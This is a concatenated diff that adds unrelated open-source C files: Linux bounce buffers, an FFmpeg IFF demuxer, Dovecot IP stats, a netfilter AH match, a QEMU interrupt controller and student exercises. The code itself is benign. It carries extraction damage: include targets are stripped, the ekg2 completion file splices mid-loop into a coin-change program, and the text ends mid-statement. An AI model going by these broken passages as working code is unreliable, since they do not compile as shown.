void __bounce_end_io_read(struct bio *bio, mempool_t *pool, int err) +{ + struct bio *bio_orig = bio->bi_private; + + if (test_bit(BIO_UPTODATE, &bio->bi_flags)) + copy_to_high_bio_irq(bio_orig, bio); + + bounce_end_io(bio, pool, err); +} + +static void bounce_end_io_read(struct bio *bio, int err) +{ + __bounce_end_io_read(bio, page_pool, err); +} + +static void bounce_end_io_read_isa(struct bio *bio, int err) +{ + __bounce_end_io_read(bio, isa_page_pool, err); +} + +static void __blk_queue_bounce(struct request_queue *q, struct bio **bio_orig, + mempool_t *pool) +{ + struct page *page; + struct bio *bio = NULL; + int i, rw = bio_data_dir(*bio_orig); + struct bio_vec *to, *from; + + bio_for_each_segment(from, *bio_orig, i) { + page = from->bv_page; + + /* + * is destination page below bounce pfn? + */ + if (page_to_pfn(page) <= q->bounce_pfn) + continue; + + /* + * irk, bounce it + */ + if (!bio) + bio = bio_alloc(GFP_NOIO, (*bio_orig)->bi_vcnt); + + to = bio->bi_io_vec + i; + + to->bv_page = mempool_alloc(pool, q->bounce_gfp); + to->bv_len = from->bv_len; + to->bv_offset = from->bv_offset; + inc_zone_page_state(to->bv_page, NR_BOUNCE); + + if (rw == WRITE) { + char *vto, *vfrom; + + flush_dcache_page(from->bv_page); + vto = page_address(to->bv_page) + to->bv_offset; + vfrom = kmap(from->bv_page) + from->bv_offset; + memcpy(vto, vfrom, to->bv_len); + kunmap(from->bv_page); + } + } + + /* + * no pages bounced + */ + if (!bio) + return; + + trace_block_bio_bounce(q, *bio_orig); + + /* + * at least one page was bounced, fill in possible non-highmem + * pages + */ + __bio_for_each_segment(from, *bio_orig, i, 0) { + to = bio_iovec_idx(bio, i); + if (!to->bv_page) { + to->bv_page = from->bv_page; + to->bv_len = from->bv_len; + to->bv_offset = from->bv_offset; + } + } + + bio->bi_bdev = (*bio_orig)->bi_bdev; + bio->bi_flags |= (1 << BIO_BOUNCED); + bio->bi_sector = (*bio_orig)->bi_sector; + bio->bi_rw = (*bio_orig)->bi_rw; + + bio->bi_vcnt = (*bio_orig)->bi_vcnt; + bio->bi_idx = (*bio_orig)->bi_idx; + bio->bi_size = (*bio_orig)->bi_size; + + if (pool == page_pool) { + bio->bi_end_io = bounce_end_io_write; + if (rw == READ) + bio->bi_end_io = bounce_end_io_read; + } else { + bio->bi_end_io = bounce_end_io_write_isa; + if (rw == READ) + bio->bi_end_io = bounce_end_io_read_isa; + } + + bio->bi_private = *bio_orig; + *bio_orig = bio; +} + +void blk_queue_bounce(struct request_queue *q, struct bio **bio_orig) +{ + mempool_t *pool; + + /* + * Data-less bio, nothing to bounce + */ + if (!bio_has_data(*bio_orig)) + return; + + /* + * for non-isa bounce case, just check if the bounce pfn is equal + * to or bigger than the highest pfn in the system -- in that case, + * don't waste time iterating over bio segments + */ + if (!(q->bounce_gfp & GFP_DMA)) { + if (q->bounce_pfn >= blk_max_pfn) + return; + pool = page_pool; + } else { + BUG_ON(!isa_page_pool); + pool = isa_page_pool; + } + + /* + * slow path + */ + __blk_queue_bounce(q, bio_orig, pool); +} + +EXPORT_SYMBOL(blk_queue_bounce); diff --git a/pool/shard011/C/0141834_u_draw.c b/pool/shard011/C/0141834_u_draw.c new file mode 100644 index 0000000000000000000000000000000000000000..20837be5e594628c948e1e5ef1e2847894ef11c9 --- /dev/null +++ b/pool/shard011/C/0141834_u_draw.c @@ -0,0 +1,99 @@ +/************************************************************************** + * + * Copyright 2011 VMware, Inc. + * All Rights Reserved. + * + * Permission is hereby granted, free of charge, to any person obtaining a + * copy of this software and associated documentation files (the + * "Software"), to deal in the Software without restriction, including + * without limitation the rights to use, copy, modify, merge, publish, + * distribute, sub license, and/or sell copies of the Software, and to + * permit persons to whom the Software is furnished to do so, subject to + * the following conditions: + * + * The above copyright notice and this permission notice (including the + * next paragraph) shall be included in all copies or substantial portions + * of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS + * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. + * IN NO EVENT SHALL VMWARE AND/OR ITS SUPPLIERS BE LIABLE FOR + * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, + * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE + * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + * + **************************************************************************/ + + +#include "util/u_debug.h" +#include "util/u_math.h" +#include "util/u_format.h" +#include "util/u_draw.h" + + +/** + * Returns the largest legal index value for the current set of bound vertex + * buffers. Regardless of any other consideration, all vertex lookups need to + * be clamped to 0..max_index to prevent an out-of-bound access. + */ +unsigned +util_draw_max_index( + const struct pipe_vertex_buffer *vertex_buffers, + unsigned nr_vertex_buffers, + const struct pipe_vertex_element *vertex_elements, + unsigned nr_vertex_elements, + const struct pipe_draw_info *info) +{ + unsigned max_index; + unsigned i; + + max_index = ~0; + for (i = 0; i < nr_vertex_elements; i++) { + const struct pipe_vertex_element *element = + &vertex_elements[i]; + const struct pipe_vertex_buffer *buffer = + &vertex_buffers[element->vertex_buffer_index]; + unsigned buffer_size; + const struct util_format_description *format_desc; + unsigned format_size; + + assert(buffer->buffer->height0 == 1); + assert(buffer->buffer->depth0 == 1); + buffer_size = buffer->buffer->width0; + + format_desc = util_format_description(element->src_format); + assert(format_desc->block.width == 1); + assert(format_desc->block.height == 1); + assert(format_desc->block.bits % 8 == 0); + format_size = format_desc->block.bits/8; + + assert(buffer_size - buffer->buffer_offset <= buffer_size); + buffer_size -= buffer->buffer_offset; + + assert(buffer_size - element->src_offset <= buffer_size); + buffer_size -= element->src_offset; + + assert(buffer_size - format_size <= buffer_size); + buffer_size -= format_size; + + if (buffer->stride != 0) { + unsigned buffer_max_index; + + buffer_max_index = buffer_size / buffer->stride; + + if (element->instance_divisor == 0) { + /* Per-vertex data */ + max_index = MIN2(max_index, buffer_max_index); + } + else { + /* Per-instance data. Simply make sure the state tracker didn't + * request more instances than those that fit in the buffer */ + assert((info->start_instance + info->instance_count)/element->instance_divisor + <= (buffer_max_index + 1)); + } + } + } + + return max_index; +} diff --git a/pool/shard011/C/0141835_iff.c b/pool/shard011/C/0141835_iff.c new file mode 100644 index 0000000000000000000000000000000000000000..f6fd4e9ee077045d9aa7f5f22cc90454381f79a0 --- /dev/null +++ b/pool/shard011/C/0141835_iff.c @@ -0,0 +1,174 @@ +/* + * IFF (.iff) file demuxer + * Copyright (c) 2008 Jaikrishnan Menon + * + * This file is part of FFmpeg. + * + * FFmpeg is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * FFmpeg is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with FFmpeg; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/** + * @file iff.c + * IFF file demuxer + * by Jaikrishnan Menon + * for more information on the .iff file format, visit: + * http://wiki.multimedia.cx/index.php?title=IFF + */ + +#include "avformat.h" + +#define ID_8SVX MKTAG('8','S','V','X') +#define ID_VHDR MKTAG('V','H','D','R') +#define ID_ATAK MKTAG('A','T','A','K') +#define ID_RLSE MKTAG('R','L','S','E') +#define ID_CHAN MKTAG('C','H','A','N') + +#define ID_FORM MKTAG('F','O','R','M') +#define ID_ANNO MKTAG('A','N','N','O') +#define ID_AUTH MKTAG('A','U','T','H') +#define ID_CHRS MKTAG('C','H','R','S') +#define ID_COPYRIGHT MKTAG('(','c',')',' ') +#define ID_CSET MKTAG('C','S','E','T') +#define ID_FVER MKTAG('F','V','E','R') +#define ID_NAME MKTAG('N','A','M','E') +#define ID_TEXT MKTAG('T','E','X','T') +#define ID_BODY MKTAG('B','O','D','Y') + +#define LEFT 2 +#define RIGHT 4 +#define STEREO 6 + +#define PACKET_SIZE 1024 + +typedef enum {COMP_NONE, COMP_FIB, COMP_EXP} svx8_compression_t; + +typedef struct { + uint32_t body_size; + uint32_t sent_bytes; + uint32_t audio_frame_count; +} IffDemuxContext; + +static int iff_probe(AVProbeData *p) +{ + const uint8_t *d = p->buf; + + if ( AV_RL32(d) == ID_FORM && + AV_RL32(d+8) == ID_8SVX) + return AVPROBE_SCORE_MAX; + return 0; +} + +static int iff_read_header(AVFormatContext *s, + AVFormatParameters *ap) +{ + IffDemuxContext *iff = s->priv_data; + ByteIOContext *pb = s->pb; + AVStream *st; + uint32_t chunk_id, data_size; + int padding, done = 0; + + st = av_new_stream(s, 0); + if (!st) + return AVERROR(ENOMEM); + + st->codec->channels = 1; + url_fskip(pb, 12); + + while(!done && !url_feof(pb)) { + chunk_id = get_le32(pb); + data_size = get_be32(pb); + padding = data_size & 1; + + switch(chunk_id) { + case ID_VHDR: + url_fskip(pb, 12); + st->codec->sample_rate = get_be16(pb); + url_fskip(pb, 1); + st->codec->codec_tag = get_byte(pb); + url_fskip(pb, 4); + break; + + case ID_BODY: + iff->body_size = data_size; + done = 1; + break; + + case ID_CHAN: + st->codec->channels = (get_be32(pb) < 6) ? 1 : 2; + break; + + default: + url_fseek(pb, data_size + padding, SEEK_CUR); + break; + } + } + + if(!st->codec->sample_rate) + return AVERROR_INVALIDDATA; + + av_set_pts_info(st, 32, 1, st->codec->sample_rate); + st->codec->codec_type = CODEC_TYPE_AUDIO; + + switch(st->codec->codec_tag) { + case COMP_NONE: + st->codec->codec_id = CODEC_ID_PCM_S8; + break; + case COMP_FIB: + st->codec->codec_id = CODEC_ID_8SVX_FIB; + break; + case COMP_EXP: + st->codec->codec_id = CODEC_ID_8SVX_EXP; + break; + default: + av_log(s, AV_LOG_ERROR, "iff: unknown compression method\n"); + return -1; + } + + st->codec->bits_per_sample = 8; + st->codec->bit_rate = st->codec->channels * st->codec->sample_rate * st->codec->bits_per_sample; + st->codec->block_align = st->codec->channels * st->codec->bits_per_sample; + + return 0; +} + +static int iff_read_packet(AVFormatContext *s, + AVPacket *pkt) +{ + IffDemuxContext *iff = s->priv_data; + ByteIOContext *pb = s->pb; + int ret; + + if(iff->sent_bytes > iff->body_size) + return AVERROR(EIO); + ret = av_get_packet(pb, pkt, PACKET_SIZE); + + if(iff->sent_bytes == 0) + pkt->flags |= PKT_FLAG_KEY; + + iff->sent_bytes += PACKET_SIZE; + pkt->stream_index = 0; + pkt->pts = iff->audio_frame_count; + iff->audio_frame_count += ret / s->streams[0]->codec->channels; + return ret; +} + +AVInputFormat iff_demuxer = { + "IFF", + "IFF format", + sizeof(IffDemuxContext), + iff_probe, + iff_read_header, + iff_read_packet, +}; diff --git a/pool/shard011/C/0141836_platform_display.c b/pool/shard011/C/0141836_platform_display.c new file mode 100644 index 0000000000000000000000000000000000000000..c8adfb7d5b086369fa94698378600d80830c3836 --- /dev/null +++ b/pool/shard011/C/0141836_platform_display.c @@ -0,0 +1,66 @@ +/* + * platform_display.c: put platform display configuration in + * this file. If any platform level display related configuration + * has to be made, then that configuration shoule be in this + * file. + * + * (C) Copyright 2013 Intel Corporation + * Author: + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; version 2 + * of the License. + */ + +#include +#include +#include +#include +#include + +static struct i2c_board_info __initdata lp8556_i2c_device = { + I2C_BOARD_INFO("lp8556", 0x2C), +}; + +struct lp855x_platform_data platform_data = { + .name = "lp8556", + .device_control = 0, + .initial_brightness = 0, + .period_ns = 5000000, /* 200 Hz */ + .size_program = 0, + .rom_data = NULL, +}; + +void *lp8556_get_platform_data(void) +{ + + return (void *)&platform_data; +} + +static int __init platform_display_module_init(void) +{ + + lp8556_i2c_device.platform_data = lp8556_get_platform_data(); + + if (lp8556_i2c_device.platform_data == NULL) { + pr_debug("failed to get platform data for lp8556."); + return -EINVAL; + } + + if (INTEL_MID_BOARD(3, TABLET, BYT, BLK, PRO, 8PR0) || + INTEL_MID_BOARD(3, TABLET, BYT, BLK, ENG, 8PR0) || + INTEL_MID_BOARD(3, TABLET, BYT, BLK, PRO, 8PR1) || + INTEL_MID_BOARD(3, TABLET, BYT, BLK, ENG, 8PR1)) + return i2c_register_board_info(3, &lp8556_i2c_device, 1); + + if (INTEL_MID_BOARD(3, TABLET, BYT, BLK, PRO, CRV2) || + INTEL_MID_BOARD(3, TABLET, BYT, BLK, ENG, CRV2)) + return i2c_register_board_info(4, &lp8556_i2c_device, 1); + + + return -EPERM; +} + +module_init(platform_display_module_init); + diff --git a/pool/shard011/C/0141837_mail-ip.c b/pool/shard011/C/0141837_mail-ip.c new file mode 100644 index 0000000000000000000000000000000000000000..244c00c818c358ff1e0904cb435c100211d12602 --- /dev/null +++ b/pool/shard011/C/0141837_mail-ip.c @@ -0,0 +1,128 @@ +/* Copyright (c) 2011-2014 Dovecot authors, see the included COPYING file */ + +#include "lib.h" +#include "ioloop.h" +#include "hash.h" +#include "llist.h" +#include "global-memory.h" +#include "stats-settings.h" +#include "mail-stats.h" +#include "mail-ip.h" + +static HASH_TABLE(struct ip_addr *, struct mail_ip *) mail_ips_hash; +/* ips are sorted by their last_update timestamp, oldest first */ +static struct mail_ip *mail_ips_head, *mail_ips_tail; +struct mail_ip *stable_mail_ips; + +static size_t mail_ip_memsize(const struct mail_ip *ip) +{ + return sizeof(*ip); +} + +struct mail_ip *mail_ip_login(const struct ip_addr *ip_addr) +{ + struct mail_ip *ip; + + ip = hash_table_lookup(mail_ips_hash, ip_addr); + if (ip != NULL) { + ip->num_logins++; + ip->num_connected_sessions++; + mail_ip_refresh(ip, NULL); + return ip; + } + + ip = i_new(struct mail_ip, 1); + ip->ip = *ip_addr; + ip->reset_timestamp = ioloop_time; + + hash_table_insert(mail_ips_hash, &ip->ip, ip); + DLLIST_PREPEND_FULL(&stable_mail_ips, ip, stable_prev, stable_next); + DLLIST2_APPEND_FULL(&mail_ips_head, &mail_ips_tail, ip, + sorted_prev, sorted_next); + ip->num_logins++; + ip->num_connected_sessions++; + ip->last_update = ioloop_timeval; + global_memory_alloc(mail_ip_memsize(ip)); + return ip; +} + +void mail_ip_disconnected(struct mail_ip *ip) +{ + i_assert(ip->num_connected_sessions > 0); + ip->num_connected_sessions--; +} + +struct mail_ip *mail_ip_lookup(const struct ip_addr *ip_addr) +{ + return hash_table_lookup(mail_ips_hash, ip_addr); +} + +void mail_ip_ref(struct mail_ip *ip) +{ + ip->refcount++; +} + +void mail_ip_unref(struct mail_ip **_ip) +{ + struct mail_ip *ip = *_ip; + + i_assert(ip->refcount > 0); + ip->refcount--; + + *_ip = NULL; +} + +static void mail_ip_free(struct mail_ip *ip) +{ + i_assert(ip->refcount == 0); + i_assert(ip->sessions == NULL); + + global_memory_free(mail_ip_memsize(ip)); + hash_table_remove(mail_ips_hash, &ip->ip); + DLLIST_REMOVE_FULL(&stable_mail_ips, ip, stable_prev, stable_next); + DLLIST2_REMOVE_FULL(&mail_ips_head, &mail_ips_tail, ip, + sorted_prev, sorted_next); + + i_free(ip); +} + +void mail_ip_refresh(struct mail_ip *ip, const struct mail_stats *diff_stats) +{ + if (diff_stats != NULL) + mail_stats_add(&ip->stats, diff_stats); + ip->last_update = ioloop_timeval; + DLLIST2_REMOVE_FULL(&mail_ips_head, &mail_ips_tail, ip, + sorted_prev, sorted_next); + DLLIST2_APPEND_FULL(&mail_ips_head, &mail_ips_tail, ip, + sorted_prev, sorted_next); +} + +void mail_ips_free_memory(void) +{ + unsigned int diff; + + while (mail_ips_head != NULL && mail_ips_head->refcount == 0) { + mail_ip_free(mail_ips_head); + + if (global_used_memory < stats_settings->memory_limit || + mail_ips_head == NULL) + break; + + diff = ioloop_time - mail_ips_head->last_update.tv_sec; + if (diff < stats_settings->ip_min_time) + break; + } +} + +void mail_ips_init(void) +{ + hash_table_create(&mail_ips_hash, default_pool, 0, + net_ip_hash, net_ip_cmp); +} + +void mail_ips_deinit(void) +{ + while (mail_ips_head != NULL) + mail_ip_free(mail_ips_head); + hash_table_destroy(&mail_ips_hash); +} diff --git a/pool/shard011/C/0141838_completion.c b/pool/shard011/C/0141838_completion.c new file mode 100644 index 0000000000000000000000000000000000000000..003c49399a99a54506e7385f226239cced650f88 --- /dev/null +++ b/pool/shard011/C/0141838_completion.c @@ -0,0 +1,101 @@ +#include "ekg2-config.h" +#include + +#ifdef HAVE_READLINE_READLINE_H +# include +#else +# include +#endif + +#include +#include +#include +#include +#include + +extern char **completion_matches(); + +char *empty_generator(char *text, int state) { + return NULL; +} + +char *one_and_only = NULL; + +char *one_generator(char *text, int state) { + return state ? NULL : one_and_only; +} + +char *multi_generator(char *text, int state) { + char *ret; + + if (!ekg2_completions) + return NULL; + + if (!*ekg2_completions) { + ekg2_complete_clear(); + ekg2_completions = NULL; + return NULL; + } + + ret = *ekg2_completions; + ekg2_completions++; + + return xstrdup(ret); +} + +#define RL_LINE_MAXLEN 2048 +/* XXX what is readline input line length limit? */ + +char **my_completion(char *text, int start, int end) { + static char buffer[RL_LINE_MAXLEN]; + int i, n, e0=end, in_quote, out_quote; + + ekg2_complete_clear(); + + xstrcpy(buffer, rl_line_buffer); + + if ((in_quote = (start && buffer[start-1] == '"'))) start--; + + char *p1, *p2; + + /* Multiple spaces confuse `ekg2_complete`. Remove them. + * The following loop performs `s/ +/ /g` on `buffer[0:end]` and adjusts + * `start` and `end` variables accordingly. */ + for (p1 = p2 = buffer; *p1; p1++) { + *p1 = *p2++; + if ((*p1 != ' ') || (p1 >= buffer+end)) continue; + while (*(p2) == ' ') { + start--; + end--; + p2++; + } + } + + ekg2_complete(&start, &end, buffer, RL_LINE_MAXLEN); + + out_quote = (buffer[start] == '"'); + + if (e0!=end || (out_quote ^ in_quote)) { + + if ((n=array_count(ekg2_completions)) == 0) { + if (in_quote && out_quote) start++; + n = end - start - 1; + if (n && out_quote && in_quote) n--; + if (n && ' ' == buffer[start+n-1]) n--; + one_and_only = xstrndup(buffer+start, n); + + return completion_matches(text, one_generator); + } + + for(i=0;i + +int main(){ + int i, quantidade; + int val; + double valor; + int cedula[6]={100,50,20,10,5,2}; + int moeda[6]={100,50,25,10,5,1}; + scanf("%lf",&valor); + + printf("NOTAS:\n"); + for(i=0;i<6;i++){ + quantidade=(int)(valor/cedula[i]); + valor-=quantidade*cedula[i]; + + printf("%d nota(s) de R$ %.2f\n",quantidade,(float)cedula[i]); + } + printf("MOEDAS:\n"); + val=valor*100; + for(i=0;i<6;i++){ + quantidade=val/moeda[i]; + val-=quantidade*moeda[i]; + + printf("%d moeda(s) de R$ %.2lf\n",quantidade,moeda[i]/100.0); + + } + + return 0; +} diff --git a/pool/shard011/C/0141841_ip6t_ah.c b/pool/shard011/C/0141841_ip6t_ah.c new file mode 100644 index 0000000000000000000000000000000000000000..978cf4345113df570fba71b4f50a6e9eba475a68 --- /dev/null +++ b/pool/shard011/C/0141841_ip6t_ah.c @@ -0,0 +1,203 @@ +/* Kernel module to match AH parameters. */ +#include +#include +#include +#include +#include +#include + +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("IPv6 AH match"); +MODULE_AUTHOR("Andras Kis-Szabo "); + +#if 0 +#define DEBUGP printk +#else +#define DEBUGP(format, args...) +#endif + +/* Returns 1 if the spi is matched by the range, 0 otherwise */ +static inline int +spi_match(u_int32_t min, u_int32_t max, u_int32_t spi, int invert) +{ + int r=0; + DEBUGP("ah spi_match:%c 0x%x <= 0x%x <= 0x%x",invert? '!':' ', + min,spi,max); + r=(spi >= min && spi <= max) ^ invert; + DEBUGP(" result %s\n",r? "PASS\n" : "FAILED\n"); + return r; +} + +static int +match(const struct sk_buff *skb, + const struct net_device *in, + const struct net_device *out, + const void *matchinfo, + int offset, + const void *protohdr, + u_int16_t datalen, + int *hotdrop) +{ + struct ip_auth_hdr *ah = NULL; + const struct ip6t_ah *ahinfo = matchinfo; + unsigned int temp; + int len; + u8 nexthdr; + unsigned int ptr; + unsigned int hdrlen = 0; + + /*DEBUGP("IPv6 AH entered\n");*/ + /* if (opt->auth == 0) return 0; + * It does not filled on output */ + + /* type of the 1st exthdr */ + nexthdr = skb->nh.ipv6h->nexthdr; + /* pointer to the 1st exthdr */ + ptr = sizeof(struct ipv6hdr); + /* available length */ + len = skb->len - ptr; + temp = 0; + + while (ip6t_ext_hdr(nexthdr)) { + struct ipv6_opt_hdr *hdr; + + DEBUGP("ipv6_ah header iteration \n"); + + /* Is there enough space for the next ext header? */ + if (len < (int)sizeof(struct ipv6_opt_hdr)) + return 0; + /* No more exthdr -> evaluate */ + if (nexthdr == NEXTHDR_NONE) { + break; + } + /* ESP -> evaluate */ + if (nexthdr == NEXTHDR_ESP) { + break; + } + + hdr=(struct ipv6_opt_hdr *)skb->data+ptr; + + /* Calculate the header length */ + if (nexthdr == NEXTHDR_FRAGMENT) { + hdrlen = 8; + } else if (nexthdr == NEXTHDR_AUTH) + hdrlen = (hdr->hdrlen+2)<<2; + else + hdrlen = ipv6_optlen(hdr); + + /* AH -> evaluate */ + if (nexthdr == NEXTHDR_AUTH) { + temp |= MASK_AH; + break; + } + + + /* set the flag */ + switch (nexthdr){ + case NEXTHDR_HOP: + case NEXTHDR_ROUTING: + case NEXTHDR_FRAGMENT: + case NEXTHDR_AUTH: + case NEXTHDR_DEST: + break; + default: + DEBUGP("ipv6_ah match: unknown nextheader %u\n",nexthdr); + return 0; + break; + } + + nexthdr = hdr->nexthdr; + len -= hdrlen; + ptr += hdrlen; + if ( ptr > skb->len ) { + DEBUGP("ipv6_ah: new pointer too large! \n"); + break; + } + } + + /* AH header not found */ + if ( temp != MASK_AH ) return 0; + + if (len < (int)sizeof(struct ip_auth_hdr)){ + *hotdrop = 1; + return 0; + } + + ah = (struct ip_auth_hdr *) (skb->data + ptr); + + DEBUGP("IPv6 AH LEN %u %u ", hdrlen, ah->hdrlen); + DEBUGP("RES %04X ", ah->reserved); + DEBUGP("SPI %u %08X\n", ntohl(ah->spi), ntohl(ah->spi)); + + DEBUGP("IPv6 AH spi %02X ", + (spi_match(ahinfo->spis[0], ahinfo->spis[1], + ntohl(ah->spi), + !!(ahinfo->invflags & IP6T_AH_INV_SPI)))); + DEBUGP("len %02X %04X %02X ", + ahinfo->hdrlen, hdrlen, + (!ahinfo->hdrlen || + (ahinfo->hdrlen == hdrlen) ^ + !!(ahinfo->invflags & IP6T_AH_INV_LEN))); + DEBUGP("res %02X %04X %02X\n", + ahinfo->hdrres, ah->reserved, + !(ahinfo->hdrres && ah->reserved)); + + return (ah != NULL) + && + (spi_match(ahinfo->spis[0], ahinfo->spis[1], + ntohl(ah->spi), + !!(ahinfo->invflags & IP6T_AH_INV_SPI))) + && + (!ahinfo->hdrlen || + (ahinfo->hdrlen == hdrlen) ^ + !!(ahinfo->invflags & IP6T_AH_INV_LEN)) + && + !(ahinfo->hdrres && ah->reserved); +} + +/* Called when user tries to insert an entry of this type. */ +static int +checkentry(const char *tablename, + const struct ip6t_ip6 *ip, + void *matchinfo, + unsigned int matchinfosize, + unsigned int hook_mask) +{ + const struct ip6t_ah *ahinfo = matchinfo; + + if (matchinfosize != IP6T_ALIGN(sizeof(struct ip6t_ah))) { + DEBUGP("ip6t_ah: matchsize %u != %u\n", + matchinfosize, IP6T_ALIGN(sizeof(struct ip6t_ah))); + return 0; + } + if (ahinfo->invflags & ~IP6T_AH_INV_MASK) { + DEBUGP("ip6t_ah: unknown flags %X\n", + ahinfo->invflags); + return 0; + } + + return 1; +} + +static struct ip6t_match ah_match = { + .name = "ah", + .match = &match, + .checkentry = &checkentry, + .me = THIS_MODULE, +}; + +static int __init init(void) +{ + return ip6t_register_match(&ah_match); +} + +static void __exit cleanup(void) +{ + ip6t_unregister_match(&ah_match); +} + +module_init(init); +module_exit(cleanup); diff --git a/pool/shard011/C/0141842_psx.c b/pool/shard011/C/0141842_psx.c new file mode 100644 index 0000000000000000000000000000000000000000..3c94769e3ea4bccf12964f8ead9d3db657eef63f --- /dev/null +++ b/pool/shard011/C/0141842_psx.c @@ -0,0 +1,80 @@ +/** + * PSX Bus implementation + */ + +#include "psx.h" + +#include +#include + +/** + * Initial value for tmr0 giving us a 10uS delay + */ +const uint8_t tmr0Initial = 255 - (F_CPU / 100000); + +static volatile uint8_t flags; +static volatile uint8_t received; + +void psx_setup(void) +{ + //reset all flags + flags = 0; + + //set up buffers + received = 0; + + //set up ack + PSX_DDR |= (1 << PSX_ACK); + + //set up spi for slave mode + DDRB |= (1 << PB4); //miso is output + //enable spi interrupt, enable spi, data order reversed, read on rising edge, clock polarity inverted + SPCR = (1 << SPIE) | (1 << SPE) | (1 << DORD) | (1 << CPOL) | (1 << CPHA); + + //enable timer interrupts + TIMSK0 = (1 << TOIE0); +} + +void psx_main(void) +{ + if (flags & PSX_FLAG_RECVD) + { + psx_on_recv(received); + } + + flags = 0; +} + +void psx_ack(void) +{ + //we want it to go low for 10uS + //source of this number: + // 2uS is clock period for 500Khz and 10uS is clock period for 100Khz + // Since 2uS * 8 == 16 > 10, we can use 10uS and avoid bleeding into the + // next byte. + + PSX_PORT |= (1 << PSX_ACK); //turn on ack + TCNT0 = 0; + TCCR0B = (1 << CS00); //no prescaler +} + +void psx_send(uint8_t data) +{ + SPDR = data; +} + +/** + * Serial transfer complete on SPI + */ +ISR(SPI_STC_vect) +{ + received = SPDR; + flags |= PSX_FLAG_RECVD; +} + +ISR(TIMER0_OVF_vect) +{ + //turn off the timer + TCCR0B = 0; + PSX_PORT &= ~(1 << PSX_ACK); //turn on ack +} diff --git a/pool/shard011/C/0141843_altera_iic.c b/pool/shard011/C/0141843_altera_iic.c new file mode 100644 index 0000000000000000000000000000000000000000..5c1e829c7f0b8d8592b90aaa88e97a88d6d11308 --- /dev/null +++ b/pool/shard011/C/0141843_altera_iic.c @@ -0,0 +1,105 @@ +/* + * QEMU Altera Internal Interrupt Controller. + * + * Copyright (c) 2012 Chris Wulff + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see + * + */ + +#include "hw/sysbus.h" +#include "cpu.h" + +#define TYPE_ALTERA_IIC "altera,iic" +#define ALTERA_IIC(obj) \ + OBJECT_CHECK(AlteraIIC, (obj), TYPE_ALTERA_IIC) + +typedef struct AlteraIIC { + SysBusDevice busdev; + void *cpu; + qemu_irq parent_irq; +} AlteraIIC; + +static void update_irq(AlteraIIC *pv) +{ + uint32_t i; + CPUNios2State *env = &((Nios2CPU*)(pv->cpu))->env; + + if ((env->regs[CR_STATUS] & CR_STATUS_PIE) == 0) { + qemu_irq_lower(pv->parent_irq); + return; + } + + for (i = 0; i < 32; i++) { + if (env->regs[CR_IPENDING] & + env->regs[CR_IENABLE] & (1 << i)) { + break; + } + } + if (i == 32) { + qemu_irq_lower(pv->parent_irq); + } else { + qemu_irq_raise(pv->parent_irq); + } +} + +static void irq_handler(void *opaque, int irq, int level) +{ + AlteraIIC *pv = opaque; + CPUNios2State *env = &((Nios2CPU*)(pv->cpu))->env; + + env->regs[CR_IPENDING] &= ~(1 << irq); + env->regs[CR_IPENDING] |= level << irq; + + update_irq(pv); +} + +static int altera_iic_init(SysBusDevice *dev) +{ + AlteraIIC *pv = ALTERA_IIC(dev); + + qdev_init_gpio_in(DEVICE(pv), irq_handler, 32); + sysbus_init_irq(dev, &pv->parent_irq); + + return 0; +} + +static Property altera_iic_properties[] = { + DEFINE_PROP_PTR("cpu", AlteraIIC, cpu), + DEFINE_PROP_END_OF_LIST(), +}; + +static void altera_iic_class_init(ObjectClass *klass, void *data) +{ + DeviceClass *dc = DEVICE_CLASS(klass); + SysBusDeviceClass *k = SYS_BUS_DEVICE_CLASS(klass); + + k->init = altera_iic_init; + dc->props = altera_iic_properties; +} + +static TypeInfo altera_iic_info = { + .name = "altera,iic", + .parent = TYPE_SYS_BUS_DEVICE, + .instance_size = sizeof(AlteraIIC), + .class_init = altera_iic_class_init, +}; + +static void altera_iic_register(void) +{ + type_register_static(&altera_iic_info); +} + +type_init(altera_iic_register) + diff --git a/pool/shard011/C/0141844_5_19.c b/pool/shard011/C/0141844_5_19.c new file mode 100644 index 0000000000000000000000000000000000000000..5ec3d3b30ef4db56242341918c4e1da687722e75 --- /dev/null +++ b/pool/shard011/C/0141844_5_19.c @@ -0,0 +1,161 @@ +/* +Exercise 5-19. Modify undcl so that it does not add redundant parentheses to +declarations. + +- added some basic error handling +*/ + +#include +#include +#include + +#define MAXTOKEN 100 + +enum { NAME, PARENS, BRACKETS }; + +int gettoken(void); +void merror(char *err); + +int tokentype; /* type of last token */ +char token[MAXTOKEN]; /* last token string */ +char name[MAXTOKEN]; /* identifier name */ +char datatype[MAXTOKEN]; /* data type = char, int, etc. */ +char out[1000]; /* output string */ +int emptyLine = 1; +int error = 0; +int gottoken = 0; /* if we have token already */ + + +/* undcl: convert word descriptions to declarations */ +int main(void) +{ + printf("---undcl---\n"); + int type; + char temp[MAXTOKEN]; + int nexttoken(void); + int count = 0; + + while (gettoken() != EOF) { + if ((!error) && (!emptyLine)) + strcpy(out, token); + while ( ((type = gettoken()) != '\n') && !(error) ) { + if (type == PARENS || type == BRACKETS) + strcat(out, token); + else if (type == '*') { + if 